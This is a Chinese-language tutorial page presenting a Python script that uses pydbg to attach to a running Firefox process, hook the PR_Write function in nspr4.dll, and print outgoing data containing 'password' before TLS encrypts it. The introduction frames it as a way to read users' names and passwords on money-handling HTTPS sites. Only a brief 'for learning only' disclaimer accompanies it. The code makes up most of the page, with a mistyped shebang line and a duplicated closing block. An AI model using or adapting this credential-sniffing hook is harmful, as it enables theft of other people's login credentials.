歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux基礎 >> Linux教程 >> 利用Python的hook技術破解https

利用Python的hook技術破解https

日期:2017/2/28 16:03:00   编辑:Linux教程
相對於http協議,http是的特點就是他的安全性,http協議的通信內容用普通的嗅探器可以捕捉到,但是https協議的內容嗅探到的是加密後的內容,對我們的利用價值不是很高,所以一些大的網站----涉及到“大米”的網站,采用的都是http是協議,嘿嘿,即便這樣,還是有辦法能看到他的用戶名和密碼的,嘿嘿,本文只是用於技術學習,只是和大家交流技術,希望不要用於做違法的事情,這個例子是在firefox浏覽器下登錄https協議的網站,我們預先打開程序,就來了個捕獲用戶名和密碼:

下面是源代碼:

  1. #!/ur/bin/env python
  2. from pydbg import *
  3. from pydbg.defines import *
  4. import utils
  5. import sys
  6. dbg = pydbg()
  7. found_firefox = False
  8. pattern = "password"
  9. def ssl_sniff( dbg, args ):
  10. buffer = ""
  11. offset = 0
  12. while 1:
  13. byte = dbg.read_process_memory( args[1] + offset, 1 )
  14. if byte != "\x00":
  15. buffer += byte
  16. offset += 1
  17. continue
  18. else:
  19. break
  20. if pattern in buffer:
  21. print "Pre-Encrypted: %s" % buffer
  22. return DBG_CONTINUE
  23. # 尋找firefox.exe的進程
  24. for (pid, name) in dbg.enumerate_processes():
  25. if name.lower() == "firefox.exe":
  26. found_firefox = True
  27. hooks = utils.hook_container()
  28. dbg.attach(pid)
  29. print "[*] Attaching to firefox.exe with PID: %d" % pid
  30. # 得到firefox的hook的 address
  31. hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")
  32. if hook_address:
  33. # 添加hook的內容,包括他的pid,地址,嗅探類型
  34. hooks.add( dbg, hook_address, 2, ssl_sniff, None )
  35. print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
  36. break
  37. else:
  38. print "[*] Error: Couldn't resolve hook address."
  39. sys.exit(-1)
  40. if found_firefox:
  41. print "[*] Hooks set, continuing process."
  42. dbg.run()
  43. else:
  44. print "[*] Error: Couldn't find the firefox.exe process."
  45. sys.exit(-1)
  46. if found_firefox:
  47. print "[*] Hooks set, continuing process."
  48. dbg.run()
  49. else:
  50. print "[*] Error: Couldn't find the firefox.exe process."
  51. sys.exit(-1)
Copyright © Linux教程網 All Rights Reserved